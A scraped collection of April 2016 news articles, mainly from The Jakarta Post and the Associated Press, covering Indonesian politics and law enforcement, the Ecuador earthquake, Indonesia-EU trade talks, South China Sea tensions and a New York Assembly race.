"There is an urgent need for long overdue accountability and new laws criminalizing the use of torture," Benedict said.

Earlier on Wednesday, Badrodin revealed publicly that the Densus 88 officer who guarded Siyono admitted to kneeing the terror suspect in chest during a fight in the car. The action broke Siyono's ribs, and led to his death.

The admission was made following an independent autopsy on Siyono's body that found his death was due to a broken breastbone that pierced his heart. Previously, the police claimed that Siyono died from a brain haemorrhage.

Siyono, thought by the intelligence community to be one of the leaders of neo-Jamaah Islamiyah (JI), died while in police custody.

An investigation from the Commission for Missing Persons and Victims of Violence (Kontras) revealed that Siyono's dead body was covered in blood and wounds, raising allegations of the use of torture during the interrogation.

Amnesty International said there were a number of cases where the police and Densus 88 should be investigated for allegedly violating human rights during their operations.

Previously, the National Commission on Human Rights (Komnas HAM) revealed that at least 121 individuals suspected of being terrorists had died due to abuse and torture inflicted on them by police officers between 2007-2016 in counterterrorism operations.

"No credible investigation has ever been conducted, while the police have sought to shield themselves from accountability by making illusory pledges to investigate themselves," the statement read.

Since Tuesday, the police's Internal Affairs Division (Propam) has been conducting an ethics hearing to probe the behavior of two Densus 88 members who guarded and drove Siyono from his house following his arrest on March 8 to the polices interrogation center.

On the heels of the Densus 88 member's explanation, the prosecutors has reportedly demanded the officer to be expelled, Badrodin said. However, Badrodin said sanctions would depend on testimonies and facts delivered to the hearing. (bbn)
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Linkedin Bambang Nurbianto (The Jakarta Post) Jakarta  Fri, April 22, 2016

Sutiyoso, the director of the National Intelligence Agency (BIN), has said BIN and other law enforcement institutions will continue to hunt at least 28 fugitives who live in other countries after the arrest of Samadikun Hartono and Hartawan Aluwi.

Samadikun, convicted of graft for misusing the Bank Indonesia Liquidity Support (BLBI), was arrested in China, while Hartawan, convicted of corruption at Bank Century, was arrested in Singapore.

There are still 28 people who we have to find. We will continue to hunt them, said Sutiyoso as reported by kompas.com.

Samadikun, a former Bank Modern president commissioner, fled the country in 2003 to avoid imprisonment. He arrived at Halim Perdana Kusuma Airport in East Jakarta on Thursday night.

Samadikun feld after a Supreme Court ruling sentenced him to four years in prison for misusing BLBI funds for Bank Modern. He was accused of embezzling Rp 169 billion (US$12.9 million)

Meanwhile, Hartawan, who was flown from Singapore to Soekarno-Hatta International Airport, was sentenced to 14 years in a Bank Century corruption case that produced state losses worth Rp 3.11 trillion. The case was handled by the National Police. (bbn)
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Linkedin thejakartapost.com (The Jakarta Post) Jakarta  Fri, April 22, 2016

Residents of Bogor, Depok, Tangerang and Bekasi will only have to spend Rp 3,500 to reach Jakarta after the Jakarta administration starts operating 200 buses from the Transportation Ministry.

The buses are part of 600 buses set to address public transportation shortages in the Greater Jakarta area, the head of Jakartas Transportation Agency, Andri Yansyah, said on Thursday.

If all 600 buses are ready to be operated, we will replace old buses operated by the integrated bus network (APTB), he said, adding that those old buses would be re-hired by PT Transportasi Jakarta (Transjakarta) if the owners agreed.

Normal bus fares from neighboring cities to Jakarta can reach up to Rp 14,000.

Andri said that the Jakarta administration had allocated Rp 1.6 trillion in the city budget as a public service obligation to subsidize Transjakarta and would propose a Rp 2 trillion subsidy in the city budget revision to be deliberated on in the City Council.

The subsidy will also be allocated for the operation of the trans-Jabodetabek buses that will serve all cities in Greater Jakarta, Andri said, adding that by late May all APTB buses will have been replaced.

The Jakarta administration hopes that local administrations in Greater Jakarta will support the buses by developing park and ride facilities near the bus stops to encourage car and motorcycle users to shift to public transportation, he added.

We estimate that in the early phase, a bus will come by every 20 minutes, he said, adding that his office would coordinate with the administrations of Bogor, Depok, Tangerang and Bekasi to understand the demands of those respective cities. (bbn)
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Linkedin Gonzalo Solano (Associated Press) Quito, Ecuador  Fri, April 22, 2016

The death count from Ecuador's worst earthquake in a decade rose to at least 577 on Thursday even as the country was facing another grim toll: a long and costly reconstruction effort likely to cost billions of dollars.

President Rafael Correa announced Wednesday night that he would raise sales taxes and put a one-time levy on millionaires to help pay for reconstruction.

The damage from 7.8-magnitude quake adds to already heavy economic hardships being felt in this OPEC nation because of the collapse in world oil prices. Even before the quake, Ecuador was bracing for a bout of austerity, with the International Monetary Fund forecasting the economy would shrink 4.5 percent this year.

In a televised address Wednesday night, Correa warned the nation of a long and costly post-quake recovery and said the economic pain shouldn't fall only on hard-hit communities along the coast.

"I know we're at the most-difficult stage right now but it's just the beginning," he said.

Rescuers continued to comb through the rubble in coastal towns hit hardest by the quake, but the clock is running down for finding survivors. Rescue workers say a person without serious injuries can survive up to a week buried in debris in the Ecuadorian heat.

On Thursday, Jorge Zambrano, mayor of the community of Manta, announced that three people had been pulled from beneath a collapsed building the night before and vowed to continue searching.

"I still have hope we can find more people who are still alive beneath the rubble," he said. "If we have even a hope of life, we must work with extreme care."

Rescuers also found a more unusual survivor: A flapping white-and-brown duck was pulled from under a pile of rubble, becoming a social media celebrity in a country eager for good news.

Using authority granted by the state of emergency he declared after Saturday night's quake, Correa said sales taxes would increase from 12 percent to 14 percent for the coming year.

People with more than $1 million in assets will be charged a one-time tax of 0.9 percent on their wealth, while workers earning over $1,000 a month will be forced to contribute a day's wages and those earning $5,000 a month the equivalent of five days' pay.

Taxes on companies will also go up, and Correa said he will look to sell certain state assets that he didn't specify. He is also drawing on $600 million in emergency credits from the World Bank and other multilateral lenders.

Unlike the deadly earthquake that ravaged Chile in 2010, when commodity prices were at a high and most of South America was booming, Ecuador must rebuild with prices of oil, the lifeblood of its economy, near a decade low. Manufacturing is also suffering because the economy is dollarized, depriving companies in Ecuador of the same jolt the rest of South America has experienced from devalued currencies.

The tax hikes come as the scale of devastation continues to sink in. A helicopter flyover of the damage zone Wednesday showed entire city blocks in ruins as if they had been bombed.

On Thursday, the government raised the death toll to 577. Officials listed 163 people as missing and the number of those made homeless climbed to over 23,500. The final death toll could surpass casualties from earthquakes in Chile and Peru in the past decade.

Even as authorities turn to restoring electricity and clearing debris, the earth continued to move. A magnitude-6.1 aftershock before dawn Wednesday set babies crying and sent nervous residents pouring into the streets. Local seismologists had recorded more than 550 aftershocks, some felt 105 miles (170 kilometers) away in the capital of Quito.

Looting added to the chaos during the first days of the rescue effort.

"They looted the store. I'm taking out what little remains," Jose Encalada said as he cleaned up his paint store in Pedernales, among the hardest-hit towns.

While humanitarian aid has been pouring in from around the world, distribution is slow. In Manta on Thursday, people waited for hours under the tropical sun for aid packages that included water, cans of tuna and diapers. Soldiers kept control with fenced barricades. Some had waited in line for 10 hours the day before, only to come away empty handed.

"I've lost my house and I'm living on the street. The same goes for these other women," said Sandra Alvia, 37. "We have no water, no power and nothing to eat. We've lost everything." (bbn)
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Linkedin thejakartapost.com (The Jakarta Post) Jakarta  Fri, April 22, 2016

The National Police arrested Bank Century bailout scandal fugitive Hartawan Aluwi as he arrived in Soekarno-Hatta International Airport in Tangerang, Banten on Thursday evening.

Deported by Singaporean authorities for possessing an expired residential permit, Hartawan is reported to have spent years on the run in the neighboring country of Singapore.

"Based on coordination efforts carried out by our officers there [in Singapore], he was sent home to Indonesia yesterday. We arrested him as soon as he arrived at the airport," the National Police spokesman Brig.Gen. Boy Rafli Amar said as quoted by Antara news agency on Friday.

Hartawan had been the commissionaire at PT Antaboga Delta Sekuritas Indonesia, a suspect company involved in the Bank Century scandal that resulted in Rp 3.11 trillion (US$234.94 million) in state loss.

The Central Jakarta Court sentenced Hartawan, who was not present at the trial, to 14 years in prison on July 28, 2015. He is said to have relocated to Singapore in 2008.

While his passport had expired in 2012, Hartawans residential permit expired in February 2016.

"Thanks to our coordination with the Singaporean government, the authorities revoked Hartawan's permanent residence status," he said, adding that following the revocation Singaporean's authorities had deported Hartawan back to Indonesia.

Four police officers joined Hartawan on the flight to Indonesia without him knowing. Upon arrival, the officers arrested Hartawan. He is currently detained at the National Police headquarters.

Two remaining Bank Century fugitives remain at large, Anton Tantular and Hendro Wiyanto. As top officials at PT Antaboga Delta Sekuritas Indonesia, both were sentenced to 14 years in prison.

Boy refused to give details on the whereabouts of the wanted men.

"We continue to coordinate with Interpol," he said as quoted by kompas.com.

Hartawan's arrest followed closely on the heels of the arrest of Samadikun, a fugitive related to the Bank Indonesia liquidity support case. On Thursday evening, the Attorney General's Office in conjunction with the State Intelligence Agency (BIN) announced the safe return of Samadikun to Indonesia. He fled Indonesia 13 years ago in an effort to avoid a four year prison sentence for his part in a case that caused Rp 169 billion in state loss. (rin)
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Linkedin (The Jakarta Post) Jakarta  Fri, April 22 2016

The body of a 19-year-old refugee, identified as Ahmed Mohammad Ahmed, was found on Jl. Kebon Baru in Tebet, South Jakarta, on Thursday morning. Tebet Police chief Comr. A Nurdin Rahman said the victim had suffered multiple wounds to the head.

Nurdin said Ahmed was originally from Somalia and was living in a boarding house in Tebet.

He was registered as a refugee by the United Nations High Commissioner for Refugees [UNHCR], he said, as quoted by tribunnews.com.

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Linkedin Alan Clendenning (Associated Press) Madrid  Fri, April 22, 2016

Movie director Guy Hamilton, who directed four hugely popular James Bond films and raised the profile of the Bond movie brand through his work with actors Sean Connery and Roger Moore, has died in a hospital on the Spanish island of Mallorca. He was 93.

Hamilton, who lived on Mallorca, died at the Hospital Juaneda Miramar in the city of Palma de Mallorca on Wednesday, the hospital said in an emailed statement Thursday to The Associated Press. The hospital declined to comment on the cause of death or how long he had been hospitalized, citing patient confidentiality rules.

Hamilton, who was British, directed Bond blockbusters "Goldfinger," ''Diamonds Are Forever," ''Live And Let Die" and "The Man With The Golden Gun."

Roger Moore tweeted he was "incredibly, incredibly saddened to hear the wonderful director Guy Hamilton has gone to the great cutting room in the sky."

Hamilton was born in Paris on Sept. 16, 1922, to British parents. He worked for the Paramount News newsreel company in England during World War II before serving in the Navy.

He got his big break in 1948 when legendary British director Carol Reed hired him as first assistant director for "The Fallen Idol," a thriller told from the perspective of a 9-year-old boy. Hamilton also worked with Reed on the "The Third Man" starring Orson Welles and with John Huston on "The African Queen" featuring Humphrey Bogart and Katharine Hepburn.

Hamilton went on to direct several movies in the 1950s. He turned down an opportunity to direct the James Bond movie "Dr. No" but accepted the job for "Goldfinger."

In a 2003 interview with the Film Talk website, Hamilton said the "Goldfinger" script was good but too "Americanized" and that he had to work on making the villains more believable.

"So I had to make sure all the English scenes became more English," Hamilton said. "I liked the idea of an intellectual villain. A Bond villain has to be (the) intellectual equal and a worthy opponent of Bond."

Hamilton directed 22 films in total and was married twice, to actresses Naomi Chance and Kerima, the stage name of Miriam Charriere. (bbn)
Sergey Lavrov: Armenia did not reject Kazan proposals (video)

During his press conference with his Armenian counterpart, Russian Foreign Minister Sergey Lavrov read out the latest statement of the Russian Foreign Ministry according to which the 1994 and 1995 ceasefire agreements continue to serve as a basis for a possible armistice in the Karabakh conflict zone. He underlined that at this stage, the Russian side considers it an absolute priority to ensure a full and strict implementation of the 1994 and 1995 ceasefire agreements, which are timeless in nature. Lavrov added that the OSCE has prepared a road map for future steps. He said it is very important that the German Chairmanship which shows a strong interest in the conflict resolution also realize security responsibilities. The Russian Foreign Minister also stressed the importance of investigating border skirmishes which has so far been denied by the Azerbaijani side. Speaking about Turkey's statements made after the events of April 2-5, Sergey Lavrov said 'these were calls for war.' He stressed that the conflict cannot be resolved by force as it is contrary to accepted international standards. At the same time, the Russian diplomat added that Armenia has not rejected the Kazan proposals. Edward Nalbandian added that Azerbaijan has not only rejected the Kazan proposals, but also the documents signed in Sochi, Moscow, Astrakhan, St. Petersburg and Paris.
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Linkedin Marguerite Afra Sapiie (The Jakarta Post) Jakarta  Fri, April 22, 2016

The House of Representatives' special committee on the revision of the 2003 Terrorism Law has called for a supervisory mechanism to oversee the extended detention period for terrorism suspects to prevent potential human rights violations.

In a discussion of the bill, the government proposed that police could detain alleged terrorists for up to 510 days after the arrest and before trial, nearly three times as long as the 180 days stipulated in the current law.

Such a long period required strict monitoring, said committee member Asrul Sani, a member of House Commission III overseeing legal affairs.

"If we want a longer detention period, this should be balanced with a mechanism to supervise the [police]," Asrul told thejakartapost.com recently.

The terrorism act applied in the UK allowed police to detain a person suspected of being a terrorist for up to 48 hours without charges, he said. The police could extend the period to a maximum of 28 days; however, that needed to be reviewed by an independent team beforehand.

Indonesia should have a similar mechanism of independent reviewers to supervise the police's use of authority and ensure transparency and accountability, Asrul said.

Separately, committee chairman Muhammad Syafii said the committee would conduct a careful and comprehensive study regarding the detention period, especially from a human rights perspective.

"If the broader authority contributes to more human rights abuse, we will not approve the request," Syafii said as quoted by tribunnews.com on Thursday.

The government has demanded stronger and wider law enforcement powers for counterterrorism measures, and saw its position strengthened by a terrorists attack in the heart of the capital city in January that killed eight people, including four suspected terrorists. However, the recent death of an alleged terrorist named Siyono has raised questions about the authority given to the National Police.

Siyono died in March in the custody of the National Police's antiterrorism squad Densus 88. Suspicions of him being tortured by Densus personnel rose after his family found his body covered in bruises and after an independent autopsy found he had died from fractured ribs.
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Linkedin thejakartapost.com (The Jakarta Post) Jakarta  Fri, April 22, 2016

Indonesia and the European Union (EU) have taken a step forward in negotiations for the comprehensive economic partnership agreement (CEPA), with the completion of the initial phase  known as scoping papers  during President Joko Jokowi Widodos working visit to Belgium.

After a bilateral meeting with Jean-Claude Juncker, the President of the European Commission, in Brussels, Belgium, on Thursday, local time, Jokowi expected both parties to immediately extend the negotiations.

The issue of the scoping papers for CEPA, a discussion that was halted for years, has been resolved today, Jokowi said in a press statement issued by the Presidents communications team.

CEPA was initiated in 2010 by the Indonesia-EU Joint Vision Group.

The scoping papers cover several issues that will determine the free trade agreement, including trade in goods, customs and trade, technical regulations, trade in services and investment, public procurement, intellectual property rights, competition policy, transparency of regulations, dispute settlements and trade and sustainable development.

Indonesia is ready to immediately negotiate the CEPA, in line with Indonesias commitment to making Indonesias economy more open and competitive, Jokowi said. He added that Indonesias stance was welcomed by German Chancellor Angela Merkel and British Prime Minister David Cameron.

In my meetings with Chancellor Merkel and Prime Minister Cameron, they supported the Indonesia-EU CEPA negotiations and said they should start soon", said Jokowi. He expressed the hope that the UK would remain a part of the EU in response to Britains proposed referendum on separation from the European Union.

Meanwhile, Juncker praised Indonesias economic growth in the last quarter of 2015, which stood at 5.04 percent, adding that the growth surpassed economic growth in the Eurozone.

Indonesia is a key and a strategic partner for the EU, he asserted.

Earlier, during a meeting with Martin Schulz, the President of the European Parliament, Schulz remarked that Indonesia was a very important partner for the EU.

Foreign Minister Retno Marsudi said Indonesia had always had a positive trade surplus with Europe. With the CEPA scheme, it is expected that trade will increase and benefit both parties.

In addition to CEPA, Indonesia and the EU also discussed Forest Law Enforcement Governance and Trade (FLEGT). FLEGT will help Indonesia obtain a license to export timber to Europe.

Indonesia is now waiting for the full implementation of the EU FLEGT license, Retno said. (aym/bbn)
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Linkedin Anton Hermansyah (The Jakarta Post) Jakarta  Fri, April 22, 2016

LPDP, the Finance Ministrys scholarship program, partnered with the Dutch governments scholarship program EP-Nuffic on Thursday to formalize the expansion of collaboration between the two institutions, an official said.

The partnership, which consists of scholarship and research programs, precedes the Indonesia-Netherlands education partnership agreement that will be signed by President Joko "Jokowi" Widodo on Friday in the Netherlands.

"The MoU will formalize the increased collaboration. There will be joint programs as well as joint scholarships," Professor Ainun Naim, secretary-general for the Research and Technology and Higher Education Ministry, said.

LPDP will also learn how to manage alumni from the Nuffic program. The Dutch institution successfully manages 8,000 alumni.

"In LPDP, we have management for alumni. After they graduate, they need to report to LPDP and then we manage their database. We dont promise them jobs but we offer them to government bodies, President Director of LPDP Eko Prasetyo said.

"Around 5,000 Indonesian students have enrolled with StuNed [EP-Nuffic's scholarship program] in 13 years. Each year we get about 1,600 Indonesian students in the Netherlands and about 150-200 go through StuNed," EP-Nuffic director Theo Hooghiemstra told thejakartapost.com (bbn)
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Linkedin Ayomi Amindoni (The Jakarta Post) Jakarta  Fri, April 22, 2016

President Joko "Jokowi" Widodo has ended his week-long European trip by visiting the Netherlands, making it the first state-visit from an Indonesian president in 16 years after late president Abdurrahman Wahids visit in 2000.

Jokowi, First Lady Iriana Joko Widodo and the Indonesian delegation arrived at the Hague on Thursday evening, local time. Jokowi and his delegation went to Grand Hotel Amrath Kurhaus and were welcomed by Indonesian citizens standing in line and waving the Indonesian flag. They also spontaneously sang the national anthem, Indonesia Raya, as the President arrived at the hotel.

Jokowi immediately approached the crowd and shook hands and took pictures with the Indonesians.

Jokowi has several points of business in his state visit to the Netherlands, Foreign Affairs Minister Retno LP Marsudi said in a press statement.

Jokowi is scheduled to hold a meeting with Prime Minister Mark Rutte, the King of Netherlands and Queen Maxima.

On Friday morning, Jokowi will have a bilateral meeting with PM Rutte to sign several cooperation agreements on research, higher education and the maritime sector.

After the meeting, Jokowi will visit the Port of Rotterdam, one of the oldest and busiest ports in the world.

Moreover, the President will also attend the Indonesia-Netherlands Business Forum at his hotel, where he will meet with 15 chief executive officers of leading Dutch companies.

"In the Business Forum, will sign a number of commitments worth US$601.2 million," Retno said in a statement sent by Presidents office.

Jokowi will also visit known Leiden University to meet with Indonesian PhD students. The President will end his trip by visiting the Noordeinde Palace to meet with the King of the Netherlands, Willem-Alexander, and Queen Maxima, before returning to Jakarta.

The delegation is scheduled to arrive in Jakarta on Saturday afternoon.
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Linkedin Ayomi Amindoni (The Jakarta Post) Jakarta  Fri, April 22, 2016

The Indonesian Chamber of Commerce and Industry (Kadin) praised the progress of the comprehensive economic partnership agreement with the European Union (IE-CEPA), announcing that it had proceeded to prepare a series of recommendations to be included in the clauses.

Kadin Chairman Rosan P. Roeslani said the recommendations were related to trade in goods and services, including government procurement and investment, as well as intellectual property rights.

"We welcome the progress of the CEPA. Kadin is fully supportive in this regard. We expect that the next part of the process will conclude after the preparatory discussion levels up with the negotiation process," he said in a press statement on Friday.

Kadin Deputy Chairman of International Relations, Shinta Widjaja Kamdani asserted the importance of addressing non-tariff barriers to achieve equal-treatment in Indonesia and UE trade regulation.

Related to trade in services, she said Kadin had encouraged the government to determine the service sectors that can be opened to foreign investment in order to trigger a multiplier effect for domestic companies.

For example, in the aviation sector, Kadin wants the EU to eliminate its ban on all Indonesian airlines. "Currently, only Garuda offers direct flights to the EU," Shinta said.

As for intellectual property rights, Indonesia should be able to protect trademarks on clothing and tobacco, she added.

Shinta voiced hope that IE-CEPA, through capacity building, infrastructure financing and technology transfers, would turn out to be a long-term beneficial cooperation for Indonesia. (ags)
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Linkedin (The Jakarta Post) Jakarta  Fri, April 22 2016

The recent meeting of representatives from the State Palace and numerous law enforcement agencies signals that a cooperation framework between Indonesia and Panama will be essential as the government considers whether to look into the controversial Panama Papers.

Last week, Presidential Chief of Staff Teten Masduki held a meeting with the tax office, the National Police, the Attorney Generals Office (AGO), the Corruption Eradication Commission (KPK), the Foreign Ministry and the Financial Transaction Reports and Analysis Centre (PPATK) to discuss the leaked documents that may contain clues about tax evasion by many rich and influential people.

Despite the fact that the tax office has confirmed that about 79 percent of the data in the leaked documents is identical with the governments own data, Teten said that there should be a cooperation agreement between Indonesia and Panama.

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Linkedin Anton Hermansyah (The Jakarta Post) Jakarta  Fri, April 22, 2016

Bank Indonesias (BI) move to switch from the BI Rate to the BI 7-day Reverse Repo Rate as its monetary policy reference could help prevent commercial banks from parking excessive liquidity at the central bank.

HSBC Indonesia managing director Ali Setiawan said BI was going back to the old times, when the reference rate was more transactional, while at the same time driving bankers to opt for the interbank market instead of BI certificates, which essentially ended up being 'idle money', to save their excessive liquidity.

"There is an interbank money market with high transactions of Rp 90 trillion to Rp 100 trillion [US$6.8 billion-$7.6 billion] per day. The banks only access 10 percent of that number, and the remaining 90 percent are placed at BI," he told thejakartapost.com in Jakarta on Thursday.

While BI facilities are more complete, with many different instruments that bankers may use to save their excessive liquidity for any duration, the market should not depend on the central bank, Ali said.

Right now, according to him, the market situation was very supportive for private banks to put their excessive cash into the money market.

"The credit growth is sluggish, as companies are reluctant to take more loans, BI cuts the reserve requirement, allowing banks to withdraw their savings from BI, and a lot of foreign funds are starting to come to Indonesia again," he said. (ags)
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Linkedin Andhyta Firselly Utami, Arief Wijaya and Almo Pradana (The Jakarta Post) Jakarta  Fri, April 22 2016

As a country that hosts one of the largest forests in the world, Indonesia has decided to become part of the solution, President Joko Jokowi Widodo said in his speech at COP 21 in Paris last December. To become part of the solution, Indonesia committed unconditionally to reducing its emissions by almost a third (29 percent) from a 2030 business-as-usual scenario, or by up to 41 percent if certain international assistance was made available.

On April 22, the historic Paris Agreement will be signed in New York, cueing the worlds sixth-largest emitter to start walking the talk.

Ahead of this signing, Environment and Forestry Minister Siti Nurbaya made an encouraging statement about how Indonesias Nationally Determined Contribution (NDC) should be an enhanced and more ambitious version of the climate goal submitted to the UN, known as the INDC, or Intended Nationally Determined Contribution (INDC).

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Linkedin (Associated Press) Berlin  Fri, April 22, 2016

To some it's the real deal, to others it's a bland brew. But thanks to a 500-year-old rule, everybody can be sure what's in German beer.

Only water, hops and malt are the permitted ingredients, according to the Bavarian beer purity law of 1516 that slowly spread to the rest of Germany. It's still on the books, albeit with some exceptions, today.

Chancellor Angela Merkel raised a glass of (alcohol-free) frothy brew to the law Friday at a ceremony in Ingolstadt, quoting Martin Luther's saying that "he who has no beer, has nothing to drink."

Critics say the so-called Reinheitsgebot  whose name suggests divine commandment  is little more than a marketing trick dreamed up in the early 20th century to keep foreign beers out of Germany.
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Linkedin Haeril Halim (The Jakarta Post) Brussels  Fri, April 22 2016

The country is set to give global players greater access to its emerging market, with President Joko Jokowi Widodo assuring the EU of its readiness to commence negotiations on a lucrative comprehensive economic partnership agreement (CEPA) with the worlds strongest economic entity in Berlin on Thursday.

The long-awaited commitment comes following intensive pre-negotiations that began in 2012 to draft shared scooping papers in key areas of cooperation agreed upon during Thursdays meeting between Jokowi and EU Commission President Jean-Claude Juncker in Brussels.

Negotiations are expected to start in a few days to discuss items agreed to in the papers, including investment, government-to-government goods and service procurement, intellectual property rights, technical barriers for two-way trade and non-tariff barriers and sanitary and phytosanitary (SPS) measures.

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Linkedin Erika Anindita Dewi (The Jakarta Post) Jakarta  Fri, April 22, 2016

The arrest of Samadikun Hartono, a graft convict who was on the lam for 13 years, cannot be immediately followed by the confiscation of his assets to recover the state losses triggered by his case, Attorney General HM Prasetyo has said.

"What's important for us is to arrest the person first. After that, we will communicate with him," Prasetyo said on the sidelines of a hearing with House Commission III overseeing legal affairs in Jakarta on Thursday.

The attorney general could not state when the losses reaching some Rp 169 billion (US$12.9 million) could be recovered, but he said he had a plan in mind to recover the assets. He refused, however, to explain details.

Meanwhile, Loeke Larasati, head of the AGO's Asset Recovery Center (PPA), emphasized that asset confiscation was a technical matter and involved the verification of assets.

The PPA will confiscate the assets after there's a handover of the technical matter to her office. Loeke does not know when the PPA will be authorized to handle the issue. "We will not interfere with the process. The executor is the prosecutor," Loeke said.

Samadikun, a former Bank Modern president commissioner, fled the country in 2003 to avoid imprisonment. He arrived at Halim Perdana Kusuma Airport in East Jakarta on Thursday night. He was arrested last week, but could not be flown to Jakarta until Thursday because of the deportation process.

His arrest was the result of cooperation between the Indonesian and Chinese governments, said the director of the National Intelligence Agency (BIN) on Sunday during his visit to Germany alongside President Joko "Jokowi" Widodo.

Samadikun went on the lam after a Supreme Court ruling sentenced him to four years in prison for misusing Bank Indonesia liquidity support (BLBI) funds for Bank Modern.

Samadikun's Bank Modern went bankrupt during the 1997 monetary crisis. The funds were part of Rp 145.5 trillion in loans disbursed by BI in 1998 to help 48 troubled banks during the crisis. Ninety-five percent of the loans were embezzled.

According to the AGO's website, Samadikun lived in a luxury apartment in Singapore and still owned film studios in Vietnam and China while he was on the run. (bbn)
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Linkedin (The Jakarta Post) Jakarta  Fri, April 22 2016

Human rights watchdog Imparsial has renewed its opposition to a proposal that active military and police personnel be granted the right to contest regional elections without having to resign from active duty.

Imparsial executive director Al Araf insisted that active military and police personnel continue to be obliged to resign their positions if they wanted to run in local elections.

It should be borne in mind that soldiers and police officers have an esprit de corps. If they remain active officers when contesting regional elections, theres a risk theyll exert force in order to swing the vote in their favor, Al Araf said.

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Linkedin Quratul-Ain Bandial (The Brunei Times/ANN) Bandar Seri Begawan  Fri, April 22, 2016

China is eager to aid Bruneis diversification efforts by lending financial support to develop local infrastructure and industry.

Sultan and Yang Di-Pertuan of Brunei Hassanal Bolkiah hosted Chinese Foreign Minister Wang Yi at Istana Nurul Iman on Thursday for wide-ranging talks covering economic, political and security issues.

Following the meeting, Wang told reporters that Chinas investment in the sultanate jumped 50 per cent last year, while contracts signed between the Brunei government and Chinese companies also increased significantly.

Cooperation in energy, agriculture, fisheries, health, and education were mooted, as well as boosting trade through the recently-established Brunei-Guangxi Economic Corridor.

China is already the biggest foreign investor in the sultanate, with Chinese companies heavily involved in major infrastructure projects, such as the construction of the US$4 billion crude oil refinery at Pulau Muara Besar and the $1.6 billion Temburong Bridge.

Wang said his government is encouraging more Chinese companies to invest in infrastructure in Brunei as part of its One Belt, One Road initiative  an ambitious connectivity plan which aims to revive the Silk Road trading route by building modern roads and ports that link China with the Indian Ocean and Europe through Southeast Asia.

China has great political will to step up cooperation with Brunei, but first and foremost we need to listen to the views of Brunei to see what they need.

He added that Beijing can also lend financial support for development projects through the Silk Road Fund and the Asian Infrastructure Investment Bank.

Both countries are slated to sign an intergovernmental cooperation document linking Chinas Belt and Road initiative to Bruneis long-term development program called Vision 2035.

The sultanate also plans to start offering visas-on-arrival to Chinese tourists, in order to foster better people-to-people relations.

Wang said all these matters were discussed in-depth during a meeting at Bruneis Ministry of Foreign Affairs and Trade (MOFAT) earlier in the day, chaired by the Second MOFAT Minister Lim Jock Seng.

The minister said 2016 marks the 25th anniversary of Brunei-China relations and that throughout this period the two countries have maintained a high level of political trust.

China-Brunei friendship has come this far which shows that the increasing strength of China will by no means pose any threat or challenge to any other country. Chinas development will only bring opportunities and dividends.
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Linkedin (Associated Press) Phnom Penh  Fri, April 22, 2016

China's top diplomat has paid a two-day official visit to Cambodia, one of its closest allies in Southeast Asia.

Chinese Foreign Minister Wang Yi at a news conference Friday with his Cambodian counterpart Prak Sokhon said he was delighted that Cambodia often supported Beijing's positions on world affairs. China is at odds with several of Cambodia's fellow members of the Association of Southeast Asian Nations who accuse Beijing of illegitimately extending territorial claims in the South China Sea.

The two ministers said Cambodia backs Beijing's call for a solution that does not involve interference from outside  an unstated reference to US naval support for some of the countries challenging Beijing's claims.

Cambodia, one of the region's least-developed countries, enjoys large amounts of aid and investment from China.
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Linkedin Frances Mangosing (Philippine Daily Inquirer/ANN) Clark Air Base, Philippines  Fri, April 22, 2016

The landing of a Chinese military aircraft on an artificial island in the disputed waters of the South China Sea was a clear act of militarization, the Department of National Defense of the Philippines said on Thursday.

It was definitely provocative. Weve always been saying that we will address the issue through peaceful means  the diplomatic and our approach to the United Nations Convention on the Law of the Sea and we will keep holding on to that. Hopefully the decision will come out soon so we can avoid issues like these. They are the ones doing trouble there, Defense spokesperson Peter Paul Galvez said.

The Philippines is waiting for the decision of the Permanent Court of Arbitration on the South China Sea dispute. Manila had filed a case at the international court, challenging Beijings nine-dash claims.

The flight at the Fiery Cross Reef (Kagitingan Reef) over the weekend was the first time it was publicly known that a Chinese military plane has landed in the disputed islands.

The runway in the Fiery Cross Reef is about 3,000 meters long and is one of the three of Chinas man-made airstrips in the Spratlys.

They have not been true to their word. They say their moves are for civilian purposes. Actually for whatever purpose it may be because its an artificial island  it keeps getting bigger. We dont know whats in there, Galvez said.

They keep saying there is no militarization, but its obvious, he added.

The United States has criticized the recent flight, asking China to reaffirm its earlier announcements that it will not deploy its military aircraft in the Spratlys.
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Linkedin (Associated Press) Manila  Fri, April 22, 2016

The United States and Britain have warned their citizens to stay away from a southern Philippine region where suspected Muslim extremists are behind a wave of kidnappings, including those of 18 Indonesian and Malaysian tugboat crewmen.

The US State Department warned Americans in an advisory Thursday to defer non-essential travel to the Sulu archipelago "due to the high threat of kidnapping of international travelers, increased threat of maritime kidnappings against small boats ... and violence linked to insurgency and terrorism there."

The British government on Wednesday issued a similar travel warning, citing, "a high threat from terrorism, including kidnapping."

Abu Sayyaf militants have been suspected of seizing the Indonesian and Malaysian crewmen at gunpoint in separate attacks on three tugboats in recent weeks, sparking security concerns in the region.

Malaysia, Indonesia and the Philippines plan to convene a meeting of maritime officials to discuss ways to boost security along their sea borders, including using satellite technology to spot suspicious vessels and stop them before a possible attack.

Abu Sayyaf, which currently has about 400 armed fighters split into several factions, has relied on huge ransoms earned from kidnappings, including of US and other Western tourists and missionaries, and extortion to survive for more than two decades.
Its been three days since Democrat Alice Cancel emerged victorious from the special election in the 65th Assembly District. This morning, were taking a closer look at how she prevailed and also at whats ahead as the battle begins anew for Sheldon Silvers former legislative seat.

Cancel got around 7300 votes, about one-thousand more than Yuh-Line Niou, her rival running on the Working Families Party line. But now theres a new campaign to run. At least 6 candidates will be vying in the September Democratic Primary. Meanwhile, there are some bruised feelings after a contentious election and a need for a little fence mending among elected officials and community activists, who found themselves on opposite sides of the political battle.

During the campaign, both the mainstream media and her opponents portrayed Cancel as a puppet of Sheldon Silver, a hand-picked party hack. Many elected officials, including State Sen. Daniel Squadron and Assemblyman Brian Kavanagh, backed Niou. Even Cancels own boss, NYC Comptroller Scott Stringer, was in Nious camp. While Cancel had a big advantage running on the Democratic Party line, she became an underdog and was accused of operating a lackluster campaign. She raised just $5,000, compared with $140,000 for Niou.

On Tuesday evening, City Council member Rosie Mendez, a fervent Cancel supporter, said the campaign was marked by personal attacks, misinformation (and) outright lies about Alice. Some of it can just be chalked up to politics, said Mendez, but she added, One or two people (elected officials) made this really personal. Thats going to be very hard to mend. The Council member said she was surprised by, the lengths that the Working Families Party (had) gone to (in order to) elevate the candidacy of Yuh-Line Niou, who has spent very little time in this community (Niou has lived in the district for about two years). That meant something to people at the end of the day.

